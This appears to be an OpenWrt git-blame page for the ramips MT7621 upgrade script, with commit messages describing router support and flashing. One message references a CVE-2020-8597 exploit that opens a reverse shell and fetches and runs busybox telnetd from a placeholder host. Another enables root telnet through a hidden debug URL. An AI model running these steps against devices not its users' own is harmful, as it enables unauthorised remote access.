You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

78 lines
1.6 KiB
Bash

#
# Copyright (C) 2010 OpenWrt.org
#
PART_NAME=firmware
REQUIRE_IMAGE_METADATA=1
ramips: add support for ALFA Network Quad-E4G ALFA Network Quad-E4G is a universal Wi-Fi/4G platform, which offers three miniPCIe (PCIe, USB 2.0, SIM) and a single M.2 B-key (dual-SIM, USB 3.0) slots, RTC and five Gigabit Ethernet ports with PoE support. Specification: - MT7621A (880 MHz) - 256/512 MB of RAM (DDR3) - 16/32+ MB of FLASH (SPI NOR) - optional second SPI flash (8-pin WSON/SOIC) - 1x microSD (SDXC) flash card reader - 5x 10/100/100 Mbps Ethernet, with passive PoE support (24 V) in LAN1 - optional 802.3at/af PoE module for WAN - 3x miniPCIe slot (with PCIe and USB 2.0 buses, micro SIM and 5 V) - 1x M.2/NGFF B-key 3042 (USB 3.0/2.0, mini + micro SIM) - RTC (TI BQ32002, I2C bus) with backup battery (CR2032) - external hardware watchdog (EM Microelectronic EM6324) - 1x USB 2.0 Type-A - 1x micro USB Type-B for system serial console (Holtek HT42B534) - 11x LED (5 for Ethernet, 5 driven by GPIO, 1x power indicator) - 3x button (reset, user1, user2) - 1x I2C (4-pin, 2.54 mm pitch) header on PCB - 4x SIM (6-pin, 2.00 mm pitch) headers on PCB - 2x UART2/3 (4-pin, 2.54 mm pitch) headers on PCB - 1x mechanical power switch - 1x DC jack with lock (24 V) Other: - U-Boot selects default SIM slot, based on value of 'default_sim' env variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This board has additional logic circuit for M.2 SIM switching. The 'sim-select' will work only if both SIM slots are occupied. Otherwise, always slot with SIM inside is selected, no matter 'sim-select' value. - U-Boot enables power in all three miniPCIe and M.2 slots before loading the kernel - this board supports 'dual image' feature (controlled by 'dual_image' U-Boot environment variable) - all three miniPCIe slots have additional 5 V supply on pins 47 and 49 - the board allows to install up to two oversized miniPCIe cards (vendor has dedicated MediaTek MT7615N/D cards for this board) - this board has additional logic circuit controlling PERSTn pins inside miniPCIe slots. By default, PERSTn (GPIO19) is routed to all miniPCIe slots but setting GPIO22 to high allows PERSTn control per slot, using GPIO23-25 (value is inverted) You can use the 'sysupgrade' image directly in vendor firmware which is based on OpenWrt (make sure to not preserve settings - use 'sysupgrade -n -F ...' command). Alternatively, use web recovery mode in U-Boot: 1. Power the device with reset button pressed, the modem LED will start blinking slowly and after ~3 seconds, when it starts blinking faster, you can release the button. 2. Setup static IP 192.168.1.2/24 on your PC. 3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image. Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
5 years ago
RAMFS_COPY_BIN='fw_printenv fw_setenv'
RAMFS_COPY_DATA='/etc/fw_env.config /var/lock/fw_printenv.lock'
platform_check_image() {
return 0
}
platform_do_upgrade() {
local board=$(board_name)
ramips: add support for Ubiquiti EdgeRouter X (UBNT-ERX) This router is based on MT7621 SoC, no wifi, no usb, nand. Works: * Boots. * Ethernet. * Switch. * Button (reset). * Flashing OpenWrt from stock firmware. * Upgrading OpenWrt. Doesn't work: * No GPIO leds. All leds are controlled by switch, but stock firmware was able to control them. * SoC has crypto engine but no open driver. * SoC has nat acceleration, but no open driver. * This router has 2MB spi flash soldered in but MT nand/spi drivers do not support pin sharing, so it is not accessable and disabled. Stock firmware could read it and it was empty. * PoE out. Router has serial pins populated. If looking at the top of the router, then counting from Eth sockets pins go as: 'GND, RX, TX, GND'. 3.3v, 57600. U-boot bootloader supports tftpboot, controlled from serial. This router has two kernel partitions: 'live' and 'backup'. They are swapped during flashing (on both stock and OpenWrt). Active partition is controlled by a flag in a factory partition. U-boot has custom command to switch active kernel partition. Kernel partitions are 'bare flash' 3MB. Stock bootloader has no UBI support. Stock rootfs is UBIFS. Flashing procedure. Stock firmware uses custom kernel patch to mount squashfs from a file that is located on UBIFS volume. This makes wiping out this volume from within stock firmware difficult. Instead this patch builds image that is flashable by stock firmware and contains initrams image (with minimal set of packages to fit into kernel partition). Once this is flashed one can reboot into initramfs OpenWrt and use sysupgrade to flash OpenWrt including rootfs into nand. Note: factory image is only built if initramfs image is enabled. Signed-off-by: Nikolay Martynov <mar.kolya@gmail.com> SVN-Revision: 47881
9 years ago
case "$board" in
ramips: add support for ALFA Network Quad-E4G ALFA Network Quad-E4G is a universal Wi-Fi/4G platform, which offers three miniPCIe (PCIe, USB 2.0, SIM) and a single M.2 B-key (dual-SIM, USB 3.0) slots, RTC and five Gigabit Ethernet ports with PoE support. Specification: - MT7621A (880 MHz) - 256/512 MB of RAM (DDR3) - 16/32+ MB of FLASH (SPI NOR) - optional second SPI flash (8-pin WSON/SOIC) - 1x microSD (SDXC) flash card reader - 5x 10/100/100 Mbps Ethernet, with passive PoE support (24 V) in LAN1 - optional 802.3at/af PoE module for WAN - 3x miniPCIe slot (with PCIe and USB 2.0 buses, micro SIM and 5 V) - 1x M.2/NGFF B-key 3042 (USB 3.0/2.0, mini + micro SIM) - RTC (TI BQ32002, I2C bus) with backup battery (CR2032) - external hardware watchdog (EM Microelectronic EM6324) - 1x USB 2.0 Type-A - 1x micro USB Type-B for system serial console (Holtek HT42B534) - 11x LED (5 for Ethernet, 5 driven by GPIO, 1x power indicator) - 3x button (reset, user1, user2) - 1x I2C (4-pin, 2.54 mm pitch) header on PCB - 4x SIM (6-pin, 2.00 mm pitch) headers on PCB - 2x UART2/3 (4-pin, 2.54 mm pitch) headers on PCB - 1x mechanical power switch - 1x DC jack with lock (24 V) Other: - U-Boot selects default SIM slot, based on value of 'default_sim' env variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This board has additional logic circuit for M.2 SIM switching. The 'sim-select' will work only if both SIM slots are occupied. Otherwise, always slot with SIM inside is selected, no matter 'sim-select' value. - U-Boot enables power in all three miniPCIe and M.2 slots before loading the kernel - this board supports 'dual image' feature (controlled by 'dual_image' U-Boot environment variable) - all three miniPCIe slots have additional 5 V supply on pins 47 and 49 - the board allows to install up to two oversized miniPCIe cards (vendor has dedicated MediaTek MT7615N/D cards for this board) - this board has additional logic circuit controlling PERSTn pins inside miniPCIe slots. By default, PERSTn (GPIO19) is routed to all miniPCIe slots but setting GPIO22 to high allows PERSTn control per slot, using GPIO23-25 (value is inverted) You can use the 'sysupgrade' image directly in vendor firmware which is based on OpenWrt (make sure to not preserve settings - use 'sysupgrade -n -F ...' command). Alternatively, use web recovery mode in U-Boot: 1. Power the device with reset button pressed, the modem LED will start blinking slowly and after ~3 seconds, when it starts blinking faster, you can release the button. 2. Setup static IP 192.168.1.2/24 on your PC. 3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image. Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
5 years ago
alfa-network,quad-e4g)
[ "$(fw_printenv -n dual_image 2>/dev/null)" = "1" ] &&\
[ -n "$(find_mtd_part backup)" ] && {
PART_NAME=backup
if [ "$(fw_printenv -n bootactive 2>/dev/null)" = "1" ]; then
fw_setenv bootactive 2 || exit 1
else
fw_setenv bootactive 1 || exit 1
fi
}
;;
mikrotik,routerboard-750gr3|\
mikrotik,routerboard-m11g|\
mikrotik,routerboard-m33g)
[ -z "$(rootfs_type)" ] && mtd erase firmware
;;
asus,rt-ac65p|\
asus,rt-ac85p)
echo "Backing up firmware"
dd if=/dev/mtd4 bs=1024 count=4096 > /tmp/backup_firmware.bin
dd if=/dev/mtd5 bs=1024 count=52224 >> /tmp/backup_firmware.bin
mtd -e firmware2 write /tmp/backup_firmware.bin firmware2
;;
esac
ramips: add support for Ubiquiti EdgeRouter X (UBNT-ERX) This router is based on MT7621 SoC, no wifi, no usb, nand. Works: * Boots. * Ethernet. * Switch. * Button (reset). * Flashing OpenWrt from stock firmware. * Upgrading OpenWrt. Doesn't work: * No GPIO leds. All leds are controlled by switch, but stock firmware was able to control them. * SoC has crypto engine but no open driver. * SoC has nat acceleration, but no open driver. * This router has 2MB spi flash soldered in but MT nand/spi drivers do not support pin sharing, so it is not accessable and disabled. Stock firmware could read it and it was empty. * PoE out. Router has serial pins populated. If looking at the top of the router, then counting from Eth sockets pins go as: 'GND, RX, TX, GND'. 3.3v, 57600. U-boot bootloader supports tftpboot, controlled from serial. This router has two kernel partitions: 'live' and 'backup'. They are swapped during flashing (on both stock and OpenWrt). Active partition is controlled by a flag in a factory partition. U-boot has custom command to switch active kernel partition. Kernel partitions are 'bare flash' 3MB. Stock bootloader has no UBI support. Stock rootfs is UBIFS. Flashing procedure. Stock firmware uses custom kernel patch to mount squashfs from a file that is located on UBIFS volume. This makes wiping out this volume from within stock firmware difficult. Instead this patch builds image that is flashable by stock firmware and contains initrams image (with minimal set of packages to fit into kernel partition). Once this is flashed one can reboot into initramfs OpenWrt and use sysupgrade to flash OpenWrt including rootfs into nand. Note: factory image is only built if initramfs image is enabled. Signed-off-by: Nikolay Martynov <mar.kolya@gmail.com> SVN-Revision: 47881
9 years ago
case "$board" in
asus,rt-ac65p|\
asus,rt-ac85p|\
hiwifi,hc5962|\
ramips: add support for Linksys EA7500 v2 The Linksys EA7500 v2 is advertised as AC1900, but its internal hardware is AC2600 capable. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 256M (Nanya NT5CC128M16IP-DI) FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI) ETH: 5x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7615N (4x4:4) - 5GHz: 1x MT7615N (4x4:4) - 4 antennas: 3 external detachable antennas and 1 internal USB: - 1x USB 3.0 - 1x USB 2.0 BTN: - 1x Reset button - 1x WPS button LEDS: - 1x White led (Power) - 6x Green leds (link lan1-lan4, link wan, wps) - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable) Everything works correctly. Installation ------------ The “factory” openwrt image can be flashed directly from OEM stock firmware. After the flash the router will reboot automatically. However, due to the dual boot system, the first installation could fail (if you want to know why, read the footnotes). If the flash succeed and you can reach OpenWrt through the web interface or ssh, you are done. Otherwise the router will try to boot 3 times and then will automatically boot the OEM firmware (don’t turn off the router. Simply wait and try to reach the router through the web interface every now and then, it will take few minutes). After this, you should be back in the OEM firmware. Now you have to flash the OEM Firmware over itself using the OEM web interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img downloaded from the Linksys website). When the router reboots flash the “factory” OpenWrt image and this time it should work. After the OpenWrt installation you have to use the sysupgrade image for future updates. Restore OEM Firmware -------------------- After the OpenWrt flash, the OEM firmware is still stored in the second partition thanks to the dual boot system. You can switch from OpenWrt to OEM firmware and vice-versa failing the boot 3 times in a row: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware If you want to completely remove OpenWrt from your router, switch to the OEM firmware and then flash OEM firmware from the web interface as a normal update. This procedure will overwrite the OpenWrt partition. Footnotes --------- The Linksys EA7500-v2 has a dual boot system to avoid bricks. This system works using 2 pair of partitions: 1) "kernel" and "rootfs" 2) "alt_kernel" and "alt_rootfs". After 3 failed boot attempts, the bootloader tries to boot the other pair of partitions and so on. This system is managed by the bootloader, which writes a bootcount in the s_env partition, and if successfully booted, the system add a "zero-bootcount" after the previous value. A system update performed from OEM firmware, writes the firmware on the other pair of partitions and sets the bootloader to boot the new pair of partitions editing the “boot_part” variable in the bootloader vars. Effectively it's a quick and safe system to switch the selected boot partition. Another way to switch the boot partition is: 1) power on the router 2) wait 15 seconds 3) power off the router 4) repeat steps 1-2-3 twice more. 5) power on the router and you should be in the “other” firmware In this OpenWrt port, this dual boot system is partially working because the bootloader sets the right rootfs partition in the cmdline but unfortunately OpenWrt for ramips platform overwrites the cmdline so is not possible to detect the right rootfs partition. Because all of this, I preferred to simply use the first pair of partitions and set read-only the other pair. However this solution is not optimal because is not possible to know without opening the case which is the current booted partition. Let’s take for example a router booting the OEM firmware from the first pair of partitions. If we flash the OpenWrt image, it will be written on the second pair. In this situation the router will bootloop 3 times and then will automatically come back to the first pair of partitions containg the OEM firmware. In this situation, to flash OpenWrt correctly is necessary to switch the booting partition, flashing again the OEM firmware over itself. At this point the OEM firmware is on both pair of partitions but the current booted pair is the second one. Now, flashing the OpenWrt factory image will write the firmware on the first pair and then will boot correctly. If this limitation in the ramips platform about the cmdline will be fixed, the dual boot system can also be implemented in OpenWrt with almost no effort. Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com> Co-Developed-by: Jackson Lim <jackcolentern@gmail.com> Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
4 years ago
linksys,ea7500-v2|\
netgear,r6220|\
netgear,r6260|\
ramips: add support for Netgear R6350 Netgear R6350 is a wireless router, aka Netgear AC1750. Specification: - SoC: Mediatek MT7621AT (2 CPU cores, 4 threads) - RAM: 128MiB (Nanya NT5CC64M16GP-DI) - ROM: 128MiB NAND Flash (Macronix MX30LF1G18AC-TI) - Wireless: for 11b/g/n (upto 300Mbps): MT7603 for 11a/ac (upto 1450Mbps) : MT7615, is not avaliable now - Ethernet LAN speed: up to 1000Mbps - Ethernet LAN ports: 4 - Ethernet WAN speed: up to 1000Mbps - Ethernet WAN ports: 1 - USB ports: 1 (USB 2.0) - LEDs: 4 (all can be controlled by SoC's GPIO) - buttons: 2 - serial ports: unknown Installation through telnet: - Copy kernel.bin and rootfs.bin to a USB flash disk, plug to usb port on the router. - Enable telnet with link: http://192.168.1.1/setup.cgi?todo=debug (login if required, default: admin password) - You will see "Debug Enabled!" - Telnet 192.168.1.1 and login with "root" - ls /mnt/shares/ to find out path of your USB disk. 'myUdisk' for example. - cd /mnt/shares/myUdisk - mtd_write write rootfs.bin Rootfs - mtd_write write kernel.bin Kernel - reboot recovery when bricked: nmrpflash can be used to recover to the netgear firmware if a broken image was flashed. The SC_PART_MAP partition suggests that an on flash partition table exists. After implementing a partition parser/builder for the sercom partition format, the definitions don't match the flash layout used by the stock firmware. It either means the partition format has not yet been completely understood or it isn't used by the stock firmware. For now, use fixed partitions instead. Signed-off-by: NOGUCHI Hiroshi <drvlabo@gmail.com> [apply latest ramips changes and document the on flash partition map issues] Signed-off-by: Mathias Kresin <dev@kresin.me>
6 years ago
netgear,r6350|\
netgear,r6700-v2|\
netgear,r6800|\
netgear,r6850|\
netgear,wac104|\
netgear,wac124|\
netis,wf2881|\
xiaomi,mir3g|\
ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) Specification: - CPU: MediaTek MT7621A - RAM: 128 MB DDR3 - FLASH: 128 MB ESMT NAND - WIFI: 2x2 802.11bgn (MT7603) - WIFI: 4x4 802.11ac (MT7615) - ETH: 3xLAN+1xWAN 1000base-T - LED: Power, WAN, in Amber and White - UART: On board near ethernet, opposite side from power - Modified u-boot Installation: 1. Run linked exploit to get shell, startup telnet and wget the files over 2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1 3. nvram set uart_en=1 4. nvram set bootdelay=5 5. nvram set flag_try_sys1_failed=1 6. nvram commit 7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0 Restore to stock: 1. Setup PXE and TFTP server serving stock firmware image (See dhcp-boot option of dnsmasq) 2. Hold reset button down before powering on and wait for flashing amber led 3. Release reset button 4. Wait until status led changes from flashing amber to white Notes: This device has dual kernel and rootfs slots like other Xiaomi devices currently supported (mir3g, etc.) thus, we use the second slot and overwrite the first rootfs onwards in order to get more space. Exploit and detailed instructions: https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100 An implementation of CVE-2020-8597 against stock firmware version 1.0.14 This requires a computer with ethernet plugged into the wan port and an active PPPoE session, and if successful will open a reverse shell to 192.168.31.177 on port 31337. As this shell is somewhat unreliable and likely to be killed in a random amount of time, it is recommended to wget a static compiled busybox binary onto the device and start telnetd with it. The stock telnetd and dropbear unfortunately appear inoperable. (Disabled on release versions of stock firmware likely) Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox chmod a+x /tmp/busybox /tmp/busybox telnetd -l /bin/sh Tested-by: David Martinez <bonkilla@gmail.com> Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
xiaomi,mir3p|\
xiaomi,redmi-router-ac2100)
nand_do_upgrade "$1"
ramips: add support for Ubiquiti EdgeRouter X (UBNT-ERX) This router is based on MT7621 SoC, no wifi, no usb, nand. Works: * Boots. * Ethernet. * Switch. * Button (reset). * Flashing OpenWrt from stock firmware. * Upgrading OpenWrt. Doesn't work: * No GPIO leds. All leds are controlled by switch, but stock firmware was able to control them. * SoC has crypto engine but no open driver. * SoC has nat acceleration, but no open driver. * This router has 2MB spi flash soldered in but MT nand/spi drivers do not support pin sharing, so it is not accessable and disabled. Stock firmware could read it and it was empty. * PoE out. Router has serial pins populated. If looking at the top of the router, then counting from Eth sockets pins go as: 'GND, RX, TX, GND'. 3.3v, 57600. U-boot bootloader supports tftpboot, controlled from serial. This router has two kernel partitions: 'live' and 'backup'. They are swapped during flashing (on both stock and OpenWrt). Active partition is controlled by a flag in a factory partition. U-boot has custom command to switch active kernel partition. Kernel partitions are 'bare flash' 3MB. Stock bootloader has no UBI support. Stock rootfs is UBIFS. Flashing procedure. Stock firmware uses custom kernel patch to mount squashfs from a file that is located on UBIFS volume. This makes wiping out this volume from within stock firmware difficult. Instead this patch builds image that is flashable by stock firmware and contains initrams image (with minimal set of packages to fit into kernel partition). Once this is flashed one can reboot into initramfs OpenWrt and use sysupgrade to flash OpenWrt including rootfs into nand. Note: factory image is only built if initramfs image is enabled. Signed-off-by: Nikolay Martynov <mar.kolya@gmail.com> SVN-Revision: 47881
9 years ago
;;
5 years ago
iodata,wn-ax1167gr2|\
ramips: add support for I-O DATA WN-AX2033GR I-O DATA WN-AX2033GR is roughly the same as I-O DATA WN-AX1167GR2. The difference is Wi-Fi feature. Specification ============= - SoC: MediaTek MT7621A - RAM: DDR3 128 MiB - Flash Memory: NAND 128 MiB (Spansion S34ML01G200TF100) - Wi-Fi: MediaTek MT7603E - Wi-Fi: MediaTek MT7615 - Ethernet: 5x 10 Mbps / 100 Mbps / 1000 Mbps (1x WAN, 4x LAN) - LED: 2x green LED - Input: 2x tactile switch, 1x slide switch - Serial console: 57600bps, PCB through hole J5 (Vcc, TX, RX, NC, GND) - Power: DC 12V This device only supports channel 1-13 and 36-140. Thus, narrower frequency limits compared to other devices are required for limiting wi-fi frequency correctly. Without this, non-supported frequencies are activated. Flash instructions ================== 1. Open the router management page (192.168.0.1). 2. Update router firmware using "initramfs-kernel.bin". 3. After updating, run sysupgrade with "sysupgrade.bin". Recovery instructions ===================== WN-AX2033GR contains Zyxel Z-LOADER 1. Setup TFTP server (IP address: 10.10.10.3). 2. Put official firmware into TFTP server directory (distribution site: https://www.iodata.jp/lib/software/w/2068.htm) 3. Connect WX-AX2033GR Ethernet port and computer that runs TFTP server. 4. Connect to serial console. 5. Interrupt booting by Esc key. 6. Flash firmware using "ATNR 1,[firmware filename]" command. Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [adjust for kernel 5.4, add recovery instructions/frequency comment] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
iodata,wn-ax2033gr|\
iodata,wn-dx1167r)
iodata_mstc_upgrade_prepare
nand_do_upgrade "$1"
;;
ubnt,edgerouter-x|\
ubnt,edgerouter-x-sfp)
platform_upgrade_ubnt_erx "$1"
;;
*)
default_do_upgrade "$1"
;;
esac
}